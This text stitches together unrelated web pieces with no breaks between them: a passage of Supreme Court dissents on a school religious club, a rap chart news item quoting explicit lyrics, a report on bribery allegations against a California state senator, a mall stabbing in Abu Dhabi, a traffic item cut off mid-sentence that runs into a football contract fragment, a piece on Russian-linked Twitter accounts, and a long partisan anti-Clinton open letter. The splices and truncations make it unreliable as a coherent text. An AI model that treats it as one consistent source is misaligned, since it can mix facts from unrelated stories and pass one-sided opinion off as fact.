For Justice Stevens, speech that embodied a religious purpose fell into three categories. One category included speech that approached a particular topic from a religious perspective. Another category included speech that "amounts to worship, or its equivalent." Between these two categories, Stevens posited a third category—religious proselytizing. This case, then, involved a government entity attempting to open its facilities to allow the first category of religious speech on its property but not the other two categories.
Distinguishing speech from a religious viewpoint, on the one hand, from religious proselytizing, on the other, is comparable to distinguishing meetings to discuss political issues from meetings whose principal purpose is to recruit new members to join a political organization. If a school decides to authorize afterschool discussions of current events in its classrooms, it may not exclude people from expressing their views simply because it dislikes their particular political opinions. But must it therefore allow organized political groups—for example, the Democratic Party, the Libertarian Party, or the Ku Klux Klan—to hold meetings, the principal purpose of which is not to discuss the current-events topic from their own unique point of view but rather to recruit others to join their respective groups? I think not. Such recruiting meetings may introduce divisiveness and tend to separate young children into cliques that undermine the school's educational mission. School officials may reasonably believe that evangelical meetings designed to convert children to a particular religious faith may pose the same risk.
Even if the Club's speech was not properly classified as religious worship, it certainly was religious proselytism, and the school was within its rights to exclude the Club from campus.
Justice Souter was more direct.
It is beyond question that Good News intends to use the public school premises not for the mere discussion of a subject from a particular, Christian point of view, but for an evangelical service of worship calling children to commit themselves in an act of Christian conversion. The majority avoids this reality only by resorting to the bland and general characterization of Good News's activity as 'teaching of morals and character, from a religious standpoint'. If the majority's statement ignores reality, as it surely does, then today's holding may be understood only in equally generic terms. Otherwise, indeed, this case would stand for the remarkable proposition that any public school opened for civic meetings must be opened for use as a church, synagogue, or mosque.
Souter also disputed that it was proper for the Court to reach the Establishment Clause claim. Neither the district court nor the Second Circuit had based their rulings on the Establishment Clause, because they had found no First Amendment violation stemming from Milford's actions. Consequently, the facts relating to the Establishment Clause claim were not as well developed as they otherwise might have been. Furthermore, Souter disagreed that this case was so similar to Widmar and Lamb's Chapel as the majority claimed. Widmar involved a university student group, one of over a hundred on campus, that used university space for religious worship. In that case, Souter pointed out, the risk of the university being seen as endorsing the worship was low in light of the number of student groups on campus and the level of maturity of the students. The film in Lamb's Chapel was open to the general public and aimed at adults, not children, and the school facilities had been used by a wide variety of private organizations, just as there were a large number of student groups in Widmar. The Good News Club, by contrast, began setting up its meetings almost half an hour before the school day ended and in a classroom adjacent to the third- and fourth-grade classroom, so that those students, at least, would see the Club every time it came to campus. In view of the state of the recorde, the "facts we know (or think we know) point away from the majority's conclusion, and while the consolation may be that nothing really gets resolved when the judicial process is so truncated, that is not much to recommend today's result."
See also [ edit ]XXXTentacion is one of the most intriguing rappers in the game. Now, his single "Look At Me" debuts on the Billboard Hot 100 chart.
"Look At Me" comes in at song No. 95 on the Hot 100 list, which gages the hottest records of any genre. The track is an absolute banger from start to finish, as XXX's vulgar lyrics combine with Rojas and Jimmy Duval's instrumental for a match made in heaven.
"I'm like bitch, 'who is your mans?'/Can't keep my dick in my pants," XXXTentacion spits. "My bitch don't love me no more/She kick me out I'm like vro/That bitch don't wanna be friends/I gave her dick, she got mad/She put her tongue on my dick/Look at my wrist, about 10/Just got a pound of that boof/Brought that shit straight to the booth/Tommy my Hilfiger voots."
XXL recently spoke with XXXTentacion, who is currently locked up in a South Florida prison, about a number of different topics, including his unique style of rap.
"It’s real. It’s not masked up," XXXTentacion says. "It can’t fit into a box. It’s its own sound, and that’s what I wanted to do, is be an individual, so doing that sound made me an individual. Being as raw as possible or as depressed as possible felt real."
In the interview, XXXTentacion also talks about how Drake may or may not have stolen his flow for an upcoming track. discussed his ultimate goal, saying, "My whole intention is being the biggest artist there ever was or currently is."
Congrats to the 19-year-old Broward County native for his debut on the Billboard Hot 100.In exchange for payments to family members, Calderon protected the interests in Sacramento of Michael Drobot, who ran a busy spinal surgery clinic in Long Beach, Calif. Al Jazeera's Investigative Unit
Until now, Calderon’s alleged behind-the-scenes role in the workers’ compensation payment controversy has never been revealed.
The California State Compensation Insurance Fund, a quasi-governmental organization that makes payments on workers’ compensation claims, filed racketeering charges against Drobot and his medical companies earlier this year. The complaint alleges that he received $161 million through inflated surgery room and spinal implant reimbursement fees in what the state calls “multiple fraudulent schemes.” The allegations are contained in a lawsuit filed in U.S. District Court, Santa Ana, Calif.
In exchange for payments to family members, Calderon, a Democrat who represents a suburban district here, protected the interests in Sacramento of Michael Drobot, who ran a busy spinal surgery clinic in Long Beach, Calif., the affidavit says. The document says Calderon ensured that changes to state law would not injure Drobot’s lucrative business of providing spinal fusion surgery, which joins two or more vertebrae.
LOS ANGELES — State Sen. Ronald Calderon accepted bribes from a Southern California hospital executive who ran an alleged workers’ compensation scheme that brought the executive tens of millions of dollars, according to a sealed FBI affidavit obtained by Al Jazeera’s Investigative Unit.
Through upcoding, Drobot billed excessive amounts for Pacific Hospital and then entered into negotiated settlements with state officials as a matter of practice, according to the FBI affidavit.
Drobot, who lives in a $6 million mansion on the Pacific Ocean in the Corona del Mar section of Newport Beach, Calif., formerly owned Pacific Hospital of Long Beach, a 184-bed facility. He allegedly overbilled the State Compensation Insurance Fund for tens of millions of dollars through an insurance claims process known as “upcoding,” which results in the submission of charges substantially higher than set rates, according to a racketeering lawsuit the State Compensation Insurance Fund filed against Drobot and his companies in Santa Ana.
“Thomas Calderon has been a legislative consultant for my companies for many years,” Drobot said in an email. “He advises me on the proper method of scheduling meetings with our state politicians so I can support or object to any legislation that affects my organization. I don’t believe this is illegal, as every business does the same.” He also said he had never overbilled the State Compensation Insurance Fund.
In an interview with Al Jazeera, Drobot said Ronald Calderon had never assisted him and he adamantly denied paying off the legislator.
Ronald and Thomas Calderon did not respond to requests for comment about their relationship with Drobot.
Thomas Calderon received a monthly consulting fee of at least $10,000 from Drobot, plus a one-time payment of $1 million. The affidavit says Drobot paid $28,000 to Ronald Calderon through his son, who worked a summer job at Drobot’s hospital, although most of the money went directly into the state senator’s bank account.
According to the affidavit, Calderon concealed bribe payments from Drobot through his brother, former Assemblyman Thomas Calderon, and his son, Zachary, a student at Berklee College of Music in Boston.
The hospital executive frequently invoked the Calderon name during these negotiations, said a state investigator interviewed by Al Jazeera who asked not to be named. According to the affidavit, Drobot walked away with $27.5 million in workers’ compensation payments after a settlement in 2004. He paid Thomas Calderon’s company $1 million for his assistance, the document says.
Drobot has been accused of creating a shell company to artificially inflate the price of spinal implants. Those operations were reimbursed separately under California law and allowed him to cheat state taxpayers for millions more, according to the lawsuit.
“Of course I’m milking the system,” Drobot allegedly told a state investigator, according to the FBI affidavit.
Drobot, in the interview, denied making such a statement.
The affidavit describes how Calderon’s influence in Sacramento was critical to ensuring that Drobot’s alleged reimbursement scam continued for years. During an undercover sting operation in which FBI agents posed as movie studio executives (see “Hollywood Sting”), Calderon purportedly boasted that he was keeping Drobot’s scheme alive.
“We’ve been keeping him in business now for the last four years, because the governor kept pushing these regs (sic) to cut the funding on these spinal surgeries for workers’ comp,” Calderon was quoted as telling an agent during a conversation on Nov. 2, 2012.
“All we’ve been trying to do is hold off that cut so they continue paying for that. The way it is now, they are leaving it up to the administrator at workers’ comp to decide how much they pay for these implants, and if they get cut out of that, they are out of business. So that’s what we’ve been working the last four or five years. You know, we’ve kept them going. We’ve pushed it off, pushed it off, pushed it off.”
Drobot said he couldn’t explain why the state senator would make such a statement.
“I’ve never asked Ron to do anything for me,” Drobot told Al Jazeera. “I have asked his brother to assist me. That’s for sure. I’ve never met with Ron Calderon to try to develop any strategy to change any of the legislation.”
If the California State Legislature had closed the loopholes by defining surgery room fees and not allowing for implants to be reimbursed separately, Drobot’s business would have suffered.
Year after year, Calderon allegedly protected Drobot’s interests. During a feverish legislative session in 2012, the state senator was responsible for modifying legislation that would have undermined Drobot’s implant reimbursement scheme, the affidavit says.
The wrangling went into full swing in March 2012, the FBI document says. State Sen. Ted W. Lieu, who represents Los Angeles, introduced a bill that would have eliminated separate reimbursement payments for spinal implants. Drobot needed Ronald Calderon and his brother Thomas to pressure Lieu to alter or drop his proposed bill, according to the affidavit.
In the interview with Al Jazeera, Drobot acknowledged that he and Thomas Calderon lobbied Sen. Lieu to abandon his bill. Asked if he or Calderon pressured Lieu, Drobot said they merely explained the problems the bill created for California’s medical industry. Lieu, who declined to comment to Al Jazeera dropped his sponsorship of the bill.
On Aug. 24, 2012, state Sen. Kevin de Leon, a Calderon ally who represents Los Angeles, took over Lieu’s bill. But de Leon, who declined to comment for this article, made a significant change. While Lieu’s bill eliminated separate reimbursements for spinal implants, de Leon’s allowed reimbursements to continue through 2013 — a big benefit to Drobot and others. Calderon was responsible for the language change, according to the affidavit. The new bill became law this past Jan. 1.
In early October, a few months after the FBI raided Calderon’s Sacramento office, Drobot sold Pacific Hospital of Long Beach to a Southern California healthcare management company. The state’s racketeering claims against him are pending.
“I will have my day in court soon,” Drobot told Al Jazeera.
Josh Bernstein and Katie Lannigan of Al Jazeera’s Investigative Unit contributed to this report.According to reports, an American mother of twins was stabbed to death Monday after getting into an argument with another woman in an Abu Dhabi shopping mall bathroom.
Local police say witnesses saw the woman and her killer arguing in a public restroom at the Boutik Mall on Reem Island—a popular expat destination a few miles off the coast of Abu Dhabi island. The 37-year-old victim, identified only as ARB, was reportedly a divorced school teacher.
One restaurant employee told the UAE website the National that she overheard the fight:
I heard one of them threatening the other saying 'Sit down or I'll kill you'." The restaurant employee said she then heard banging sounds from the stall. "I heard one of them try to call out for help. By this time there were three of us outside the toilet and one of us ran to get security. When the female security guard arrived they told us to leave the bathroom. I was so scared and frightened for her," she said.
Although police later recovered the murder weapon, which they described only as a "sharp object," identifying the assailant may be difficult—she was reportedly wearing a full abaya, niqab and gloves.
In the UAE, convicted murderers are usually punished with death—generally by firing squad—although family members of the deceased are sometimes permitted to pardon the offenders.Click to email this to a friend (Opens in new window)
Oh these crazy kids and their driving machines.
According to the Louisville Courier-Journal, Louisville’s George Durant was arrested Saturday after compiling a rather impressive list of traffic offenses. The paper reports that, following a traffic stop at shortly after 9:30 local |
the contract (which caused many to believe it wasn’t a very good one), the full details are now available.
Per a source with knowledge of the terms, the base value actually is $4 million, given that Decker can earn $150,000 in per-game roster bonuses. Typically, those bonuses (while tied to the player being available for 16 games) are regarded as part of the base value of the deal.
As to the incentives, Decker will receive $250,000 if he scores four touchdowns. He also will get $125,000 for every 10 receptions starting at 30, maxing out at $625,000 if he catches 70 passes. Ditto for yards, with $125,000 for 450, 550, 650, 750, and 850 — another max of $625,000.
Thus, if Decker catches 70 passes, gains 850 yards, and scores four touchdowns, he’ll get the full incentive package of $1.5 million, pushing his total payout to $5.5 million. Given the circumstances of his release and the lack of money available within budgets and/or under salary caps, and in light of the fact that Decker played only three games last season, it’s a good deal — especially since he hit all three of his 2017 maximum incentive triggers in each of the four seasons prior to 2016.Looking for news you can trust?
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In the run-up to Alabama’s special election, Kremlin-linked news sites and trolls have battled vigorously on behalf of Roy Moore, the Republican candidate for US senator accused of sexual misconduct against multiple women, including teenage girls. Since allegations against Moore were first reported by The Washington Post on Nov. 9, Russian-linked Twitter accounts—including some operated by Russian news outlets RT and Sputnik—have attacked the credibility of the women accusing Moore as well as US news media reporting the allegations. During a week in mid-November, when sexual misconduct scandals were a top focus of these Kremlin-linked accounts, a majority of the content they pushed on the topic was in defense of Moore, according to the cyber security research project Hamilton 68: “Among pro-Moore articles, close to 70% attacked the credibility of the accuser(s), 38% attacked the media in general or the Washington Post in particular, and one story attacked Lindsey Graham for not defending Moore.”
The pro-Moore push has continued apace; this past weekend, #alabamasenaterace was among the top trending hashtags tracked on the Hamilton 68 dashboard, which is operated by the nonpartisan Alliance for Securing Democracy and monitors approximately 600 Twitter accounts linked to Russian influence operations. Those accounts push out 20,000 to 25,000 tweets every day, according to Bret Schafer, an analyst with the group. “The fact that this has continued for so many weeks means that this is clearly something the accounts have latched onto,” Schafer says of the Moore-related content. [Election Day update: Among the top content shared by the Russian-linked accounts on Tuesday, Dec. 12, was votejudgemoore.com, a URL redirecting to the Alabama secretary of state’s website.]
“Supporting Mr. Moore is another means to help Mr. Trump while stoking chaos in the US at the same time.”
The Kremlin’s ongoing “active measures” campaign on social media has aimed to sow confusion and chaos by supporting both far-right and far-left interests in American politics. The Alabama election presented a ripe opportunity, according to former senior CIA official John Sipher, now an expert with the national security group Cipher Brief. “In the case of Moore, the Russians certainly assess that the hyper-partisan and heated campaign is pitting Americans against each other and they want to do all they can to add fuel to the fire,” he says. “They likely assess that a Moore victory will bring the fight to Washington and further weaken the strained US political system.”
Moore’s candidacy has the full-throated backing of President Donald Trump, who has consistently refused to acknowledge the Kremlin’s cyber meddling in US elections and has repeatedly called those efforts “a hoax,” contrary to the consensus of the entire US intelligence community.
The digital activity around the Alabama senate race, says Sipher, is a continuation of Russian President Vladimir Putin’s strategy of exploiting social media and a bitterly charged political atmosphere in America. “Supporting Mr. Moore is another means to help Mr. Trump while stoking chaos in the US at the same time,” he says.
Moore has joined Trump in openly expressing a personal affinity for Putin. In an interview with The Guardian this summer, Moore praised Putin’s opposition to same-sex marriage, saying “Maybe he’s more akin to me than I know.” Several weeks after his comments, more than a thousand Russian-language Twitter accounts suddenly started following Moore’s official account. His campaign said it didn’t know why, and accused his Democratic opponent Doug Jones’ campaign of being behind the accounts. (The accounts were quickly deleted, reportedly by Twitter.)
When Trump and his supporters attack the FBI, a national security expert says, they are effectively helping the Kremlin with a key objective.
Russia’s continuing active measures on social media have also joined in on a rising attack by the Trump White House, Fox News and other Trump partisans against special counsel Robert Mueller and the FBI.
In the first week of December, Kremlin-linked accounts tracked by Hamilton 68 went on the attack in the wake of ousted Trump national security adviser Michael Flynn’s guilty plea to charges that he lied to the FBI about his conversations with the Russian ambassador after the 2016 election. The content sought to discredit the FBI by focusing on reports that an agent was removed from Mueller’s team for sending anti-Trump texts. Some accounts also pushed fake news that the Obama administration supposedly “green-lighted” Flynn’s December 2016 conversations with the Russian ambassador.
The FBI is the biggest threat to Russia’s intelligence activities against the US, Sipher says—which means that when Trump and his supporters attack the FBI, they are effectively helping the Kremlin with a key objective. “Anything the Russians can do to discredit or hurt the FBI helps their interests,” he notes. “Since the president has irresponsibly attacked the FBI and Justice Department, the Russians will look to pile on and inflict as much damage as they can. Even if President Trump does not fully understand the damage he is doing, the Russians do.”
National security and cyber experts tracking these continued Kremlin efforts say that the writing is on the wall for more trouble as the 2018 midterm elections heat up. “The biggest problem here in the US [in 2016] was that our political and cultural climate was polarized and easy to manipulate,” says Sipher. “Frankly, it was not hard to turn Americans against each other. In that sense, the Russians got lucky. They will keep doing what works and look for new means to sow discord.”To those who are supporting Hillary Clinton,
I love you.
Let that all sink in.
A Sanders presidency would be revolutionary - a yuuge break from the stranglehold corporations have on our government. Those are but a few reasons why I #FeeltheBern.
Recently, however, there's been a backlash as many Sanders fans express the sentiment that, should Clinton become the nominee, they will not vote for her -- a fourth of Sanders supporters according to the latest poll. For them, it's #BernieorBust -- and they've gotten some flack as a result. Many Clinton supporters find this hypocritical, saying "We'll vote for your candidate, but you won't vote for ours? You will give the election to Trump. That's f*cked up." A paraphrased sentiment (no shade).
But before condemning the "defectors," it's worth investigating why.
But right now, despite what the mainstream media would have you believe, we still have a real choice. And instead of having to vote for the lesser of two evils, we have the opportunity to vote for the greater good.
In search of finding common understanding, I'd like to ask Clinton supporters a few honest questions. For me, as I've examined the evidence and asked myself the same, the number of issues surrounding Clinton that I must deny, justify, or rationalize is just too great. To some of these questions, I've heard people answer, "She's a career politician. What do you expect?" I'd ask: Why not expect more from our politicians? Why not progress us forward to a new possibility? For others, there's the Machiavellian argument for Clinton: that in order to game the system, you must play within the system - and she's done just that. And perhaps she would be the best to continue the existing politics-as-usual system. But that system is no longer serving the people's interests. And the country is waking up. We are the richest country that has ever existed in the history of the world who spends an astronomical amount of money on wars and military spending and yet income inequality is worse than it's ever been since the Great Depression. We currently have a once-in-a-lifetime Presidential candidate who is calling for real changes - not small, incremental progress. A candidate who is calling us to stand together and say "Enough is enough!"
So to those who like Hillary:
Consider that we never got the full picture. Consider that, due to the accessibility of information that's now available to us, previously obscured facts can now be found with relative ease - with a bit of #HillaryResearch. Consider that not every attack on Clinton's record is coming from the right-wing or is due to her being a woman, but may actually be rooted in reality. Consider that we've been sold a public personality - one that's managed by strategists and public relations masters. Consider that the U.S. ranks 49th in the world in terms of freedom of press, that our media "options" are limited (Time Warner, CNN's parent company, is the 8th largest contributor to Clinton's campaign), and that they have their own agenda (see: $$). Consider that, when Clinton's record is viewed as a whole, there's a consistent narrative that can be understood.
We must ask ourselves: at what point are we willing to let go of the image we've been sold and instead look at valid criticisms? What does it say about our society when we're more loyal to a party that's been sold to corporate interests than we are towards our own human interests?
Consider too that all of the following questions can be raised by a Republican opponent in the general election come November. Consider that these are but a few reasons why many voters are calling for #BernieorBust. (I come bearing hyperlinks. Click them.)
1. International Money Ties
Money influences policy and politics, which is a fact. Another fact: the Clinton's have created a massive $3 billion fundraising network. But if Hillary Clinton isn't as influenced by money as she claims, how do you explain the weapons deals brokered by Clinton's state department with foreign countries who made donations to the Clinton Foundation? Many of these countries include the world's worst tyrants with abysmal human rights records and are known to fund terrorism, execute gays, and discriminate against women and religious minorities. Perhaps this is how the system has worked, but how would we react if a Republican in office did the same?
2. Wall St.
During the second debate, when Sanders pressed Clinton on her ties to the finance industry, Clinton said she went to Wall St. and told them to "cut it out". She also bizarrely cited 9/11. But how are we to rectify this account when her approach was largely "hands off" as the Boston Globe put it? This only makes us wonder: who is she really representing? What are we to make of the Clinton's being so close to the banks?
3. The Transcripts
Clinton made a total of $2.9 million from 12 speaking engagements to financial institutions upon leaving as Secretary of State - the most out of every candidate. Sanders called for her to release the speech transcripts (as did the New York Times) demanding that the public should have a right to know the contents, especially if we are to trust she will break up the big banks. First Clinton said she would look into it. Then she said that she would release them when everybody releases them. Some believe it's a double standard to ask her to share them with the public. But in this moment, she's running against Sanders for the nomination. How do we justify Clinton's reluctance to release the transcripts? If her ties to Wall St. have no bearing on how she will regulate the banks then what is she hiding? Last year, the Clinton Foundation also reported that it received as much as $26.4 million in previously undisclosed payments from major corporations, universities, foreign sources and other groups for speeches that were tallied as revenue rather than donations.
4. Campaign Finance
In 2008, after winning the Democratic nomination, Obama announced a DNC ban on accepting unlimited donations from lobbyists and Super PACs, stating:
"We will not take a dime from Washington lobbyists or special interest PACs. We're going to change how Washington works. They will not fund my party. They will not run our White House. And they will not drown out the voice of the American people when I'm president of the United States of America."
Cut to 2016. On a Friday before a holiday weekend, the DNC announced that it would lift the ban. Sanders immediately spoke out against it and urged Clinton to do the same. Clinton has not commented. When Clinton remains silent on issues of money infiltrating our politics, how are we to trust that she will prioritize people over big moneyed interests?
Additionally, her latest incident at Nancy Reagan's funeral where she praised Reagan's "low-key advocacy" for HIV/AIDS awareness, an inaccurate and offensive statement, triggered painful memories. It was quite the opposite of the truth in fact - "a f*cking lie" as columnist Dan Savage called it. Clinton chose to bring this up in the interview herself, but later apologized when she was met with outrage and accusations of revisionist undertones. How many times will we continue to apologize for her? "Well, but people make mistakes...it was just a slip. She was tired," we bargain. But for many, it's more than just a mistake. What it demonstrates is a detachment from real social justice issues that Americans face - or historical facts for that matter. As a "progressive", why wasn't she better informed? In each of these instances, she had a chance to stand up for what's right, but failed to do so.
How do we justify Clinton's 1996 implication that black teenagers are "Super-predators that need to brought to heel"? Clinton has since apologized, but what these comments reveal to many is someone who is out of touch with the realities that face black America. Give me the candidate who has recognized the humanity in everyone since the beginning.
8. The Iraq War
How are we to justify Clinton's vote for the Iraq War when Sanders was presented with the exact same evidence? His response was vastly different. The number of lives lost due to this decision is staggering and the cost is in the trillions. It was a war sold to us under false pretenses. Has she learned from this mistake? How has she earned our trust back since then? At what point does judgement trump experience?
9. Foreign Policy
Many cite Clinton's experience as Secretary of State as one of her greatest strengths. But when we examine her record, Clinton took strong interventionist stances that had disastrous and catastrophic consequences. Her decision to support the coup in Honduras has left the country with widespread violence as well as a regime that murders indigenous leaders. Environmental activist Bera Cáceres, who was assassinated in her home this month, had previously called out Clinton on her decision to back the overthrow. Similarly, during the Arab Spring, Clinton's push to topple dictator Muammar Qaddafi has left a political vacuum as extremists battle it out in the war-torn country. Then there's Syria too. To tell voters to support a candidate whose decisions have caused thousands of lives lost, unnecessary violence and chaos, and displaced millions of refugees is, quite frankly, rude. How can you ask us to support a candidate who has taken such aggressive action and caused so much bloodshed? How can we know that Clinton will not lead us into endless wars? She recently gave a speech at the American Israel Public Affairs Committee convention (AIPAC) which confirmed many people's fears of her imperialist approach. You can judge the transcript.
10. The Patriot Act
How are we to justify Clinton's vote for the Patriot Act and its reauthorization, especially when the FBI later admitted it didn't really do all that much? How are we to trust that she'll protect our civil liberties and privacy rights in the future?
11. Cluster Bombs
In 2006, Clinton voted against an amendment that would ban the use of cluster bombs in concentrated civilian areas - one of the most heinous weapons in modern warfare that half of the world has already outlawed. Women and children are the ones left most vulnerable to undetonated clusters. What are we to make of this vote? What's the justification? Clinton has also received the most amount of money from the weapons manufacturers industry out of all the candidates.
14. Flint and the 2005 Groundwater Vote
Just before the debate in Flint, Michigan, Clinton finally called for the resignation of Governor Snyder - something Sanders had done previously. But despite the rhetoric to bring immediate action and hold officials accountable, how do you resolve the fact that in 2005 she voted against a bipartisan bill banning MBTE, a possible carcinogen that was found to possibly be contaminating water supplies?
15. Monsanto
Monsanto, biotech giant and manufacturer of chemical pesticide Roundup, is considered by many to be one of the most evil corporations in the world. Roundup and its use on crops has been purportedly linked to a number of chronic health issues including cancer, birth defects, heart disease, and celiac disease. Monsanto and the industry has pumped millions of dollars into the fight against proper labeling and the public's right to know whether or not their food contains GMOs. Clinton has a number of ties to the organization. Her campaign manager, Jerry Crawford, is a former Monsanto lobbyist. Additionally, Monsanto has donated money to the Clinton Foundation as well as bundled money for her current campaign. Lobbyist obstruction is largely the reason why we haven't studied the full effects of GMO crops or how they affect the livestock that eat them. GMOs are indeed a complex issue, but how are we to trust that she will always defend our right to information? Her campaign has assured that she will, but how are we to feel knowing that Monsanto has such close ties to her campaign - that they will already have a seat at the table? By simply taking Clinton's word? How are we to trust that she'll always champion policies with our interests in mind instead of practices that are potentially toxic to our food supplies?
When footage of LaQuan McDonald first broke, asked whether she still had confidence in Emanuel, Clinton said: "I do. He loves Chicago and I'm confident that he's going to do everything he can to get to the bottom of these issues and take whatever measures are necessary to remedy them."
She's since put distance between herself and Emanuel, but her initial response says a lot. Does Clinton stand up for what's right or who she knows?
18. The Death Penalty
In good conscience, how can you vote for a candidate who continues to support the death penalty? Ricky Jackson, an exonerated man who was on death row for 39 years, recently shared a powerful op-ed on capital punishment that's worth having a read.
19. Minimum Wage
Since the start of his campaign, Sanders has called for a national $15 minimum wage. He's stood with protesters, acted as a strong vocal advocate, and even introduced new legislation into the Senate. And while Clinton cites $12 as the magic number, the New York Times has backed $15 as well. Why should we strive for less? Because someone has told us it's unrealistic? How are we to trust a candidate who wants us to settle for less before even trying? To give up before even being able to bargain for what we want? Is that what it means to be a leader? When has small thinking or cynicism served the world or brought about significant social progress? And when New York passes a $15 minimum wage, how are we to feel when Hillary Clinton showed up for the trophy ceremony to take credit?
20. Single Payer, Marijuana and Pharmaceutical Ties
Back in the 90s, Clinton campaigned hard for universal healthcare. And yet, in 2016, she's decided that we should continue Obamacare and give up trying for single-payer despite over 50% of America supporting it. Almost every developed nation around the world has implemented it - so why is it suddenly unrealistic for us? It's not a radical idea. We've just yet to catch up to the rest of the developed world. Even if it's not easy, why are we giving up before trying? Together, we can't. Recently, Clinton was caught in a lie during a campaign speech, challenging Sanders on where he was when she was trying to pass universal healthcare in the 90s. He was right behind her (she thanked him in her speech) - and he continues to push for it to this day. Again, this flip only raises eyebrows and contributes to the public's mistrust. Is it a coincidence that pharmaceutical companies are major donors?
Similarly, why is it that Clinton doesn't believe marijuana should be fully decriminalized when most Americans do? In a call for legalization, Harper's Dan Baum revealed that Nixon's policy advisor John Ehrlichman revealed that America was sold a false war on drugs:
We knew we couldn't make it illegal to be either against the war or black, but by getting the public to associate the hippies with marijuana and blacks with heroin, and then criminalizing both heavily, we could disrupt those communities. We could arrest their leaders, raid their homes, break up their meetings, and vilify them night after night on the evening news. Did we know we were lying about the drugs? Of course we did.
The costly and ineffective prohibition must end.
22. The Arrogance of the Establishment
Those closely following the Sanders campaign have a first-hand understanding of the biases and subtle ways in which the establishment and media have largely shut him out of the conversation, especially early on in the race. For many of us, it's never been more flippant or obvious and it's why thousands of protesters took to CNN. They're not crazy. Just because others may not personally see it, doesn't mean it's not present or prevalent. Here are but a few examples.
First, there was the debate schedule. Debbie Wasserman Schultz, head of the Democratic National Committee, reduced the number of scheduled debates from twenty-six in 2008 to just six this year. Four of these dates were on weekends including the Saturday before Christmas, the Saturday night of a New York Giants vs. Dallas Cowboys NFL game, and the Sunday night of Martin Luther King Jr. weekend - days when viewership would be a challenge. Many voters and critics, including Martin O'Malley and Sanders, spoke out and petitioned against what so many saw as a blatant effort for the party to reduce risk and exposure for Clinton. The DNC stiff-armed the call for more debates. However, only when Clinton was slipping in the polls leading up to New Hampshire and Iowa did she chime in and request more debates. The party obliged and Sanders asked for three more (the last one she tried to dodge). But why limit that number to just six in the first place? If you wanted to present your party's case to the American people, why wouldn't you include more dates and maximize your audience?
Then there's the superdelegate system. Debbie Wasserman Schultz has defended the system saying: "Unpledged delegates exist really to make sure that party leaders and elected officials don't have to be in a position where they are running against grassroots activists." What does this say? It tells us that the DNC is not interested in people organizing at a community level - no matter the cause or number of people involved. The will of the people doesn't need to be honored. Isn't our government to be for the people by the people? Howard Dean, presidential candidate turned "non-lobbyist" tweeted "Super delegates don't "represent people" I'm not elected by anyone. I'll do what I think is right for the country." While many superdelegates may switch later on at the convention as they did in 2008, what are we to make of the many elected officials who are blatantly disregarding their own constituents' will?
-In Maricopa County, Arizona's most populated county of four million and fourth most populous in the United States, voters waited in lines up to five hours to cast a ballot. This discouraged thousands from waiting in line and voting, including and especially elderly, those with kids, and the working class.
-Maricopa reduced the number of polling stations by 70% since the last presidential election: from 200 in 2012 to just 60 this year. That's 20,000 voters for every polling station.
-For thousands who did make it to the front of the line, their party affiliations were mysteriously changed in the system - including longtime Democrats. As a result, they had to fill out provisional ballots, which do not get counted.
-During the evening coverage, with just 1% of the votes in and many people still in line, the Associated Press called the race for Clinton.
-Arizona's Secretary of State has admitted and acknowledged that voter suppression occurred.
Voter suppression and manipulation is real and is something we all should be alarmed about. There are reports of fishy activities in other states, including Illinois late voter suppression, exit poll discrepancies, and stations running out of ballots. There are also reports and anecdotal evidence of registered voters having their party affiliations changed in California, Connecticut, New York, Oregon, Pennsylvania, and Wisconsin. For years these fishy issues have occurred regularly, but this time it's on a scale large enough for people to take notice.
But what says even more is the DNC's silence following the issue. Are they interested in protecting our democracy? Is the Democratic party interested in democracy? At what point do we continue to allow this to happen? The testimonies that citizens shared at the Arizona hearing are worth listening to, especially this one and this one.
23. #WhichHillary
Right before the South Carolina primary, Clinton held a fundraising event at a private residence. Attendee and Black Lives Matter protester Ashley Williams interrupted Clinton's speech as a call for Clinton to acknowledge and apologize for her role in mass incarceration, as well her "super predator" and "bring them to heel" comments. Security escorted her out of the event. In the video, many found Clinton's tone to be dismissive, especially in contrast to how Sanders handled a similar situation in Seattle in which two Black Lives Matter protesters stormed the stage. Some justify Clinton's response believing the interruption to be rude and an inappropriate time. But that is precisely the privileged stances that have allowed black people to continue to be murdered and disproportionately incarcerated at the hands of an unjust government and judicial system that does not value their lives. That is a bigger inconvenience. What are we to make of this video, especially when just days earlier Clinton gave a speech in Harlem where she said:
"White Americans need to do a better job at listening when African Americans talk about the seen and unseen barriers they face every day. Practice humility rather than assume that our experience is everyone's experiences."
Soon after footage of Williams hit the Internet, Twitter and social media erupted with the hashtag #WhichHillary, which attacked Clinton's record and became the #1 trending topic. How would you feel being told that you need to support this candidate?
24. The Mistrust and Dirty Campaign Tactics
67% of Americans find Clinton "not honest and trustworthy" while 53.7% of Americans find her unfavorable. Over half of America. Let that sink in.
Yet the majority of America can't possibly all be right-wing conspiracists, right? Nor are they uninformed or just buying into decades Republican-launched attacks. Consider that it's because Clinton has a long history of using dirty campaign tactics, changing her stances, and altering her rhetoric to garner a vote.
However, given all of these examples, Clinton still managed to call herself the most "transparent public official in modern times." Why is it that her campaign is so dependent upon dirty tactics and misinformation to attack her opponents? Politics-as-usual doesn't have to be the norm if we choose to stop supporting it. What are we to make of these incidents?
25. The strongest candidate?
If there's one thing we can agree upon, it's that the 2016 race has been filled with the unexpected. Imagine for a moment that Donald Trump doesn't become the nominee and that the Republicans broker their convention with Cruz, Kasich or even a Paul Ryan for kicks. Who is the bigger gamble for avoiding a Republican presidency: Clinton or Sanders? According to the polls, who is the most electable candidate in the entire race?
26. What progressive record?
Given these votes, policies, and positions, when has Clinton demonstrated herself to be a progressive? How do you remedy that her most recent flips all occurred right before she announced her candidacy? In a 1994 NPR interview, Clinton has also stated that she was proud of her conservative roots as a Goldwater girl, a Presidential candidate who voted against the Civil Rights Act of 1964. What are we to make of this?
27. What would her platform be?
Ask yourself honestly: what would Clinton's platform be had Sanders not pulled her to the left? Would we be having a conversation on income inequality, campaign finance reform, or corporate greed? Why didn't she take the lead on these issues? Would we be talking about breaking up the big banks given Clinton's long standing ties to Wall St.? What do you make of the fact that the debate topics we're discussing are the same topics that Sanders has spoken out against since the beginning?
---
I recognize that there are many complexities to these issues. That politicians must make tough decisions.
Do I think Clinton is evil?
No.
Is she alone in her acceptance of super PAC money?
No. But she's also running for the highest office against a candidate who has achieved much without conceding to the "necessary" evils.
Do I dismiss the positive accomplishments Clinton has made?
No.
Do I think she's demonstrated that she's done everything in her power to fight for all Americans?
No.
Do I think Sanders will?
Yes.
Do I acknowledge that the decisions Clinton made were within the confines of our existing political system?
Yes.
Do I accept this system as the way we must move forward?
Absolutely not.
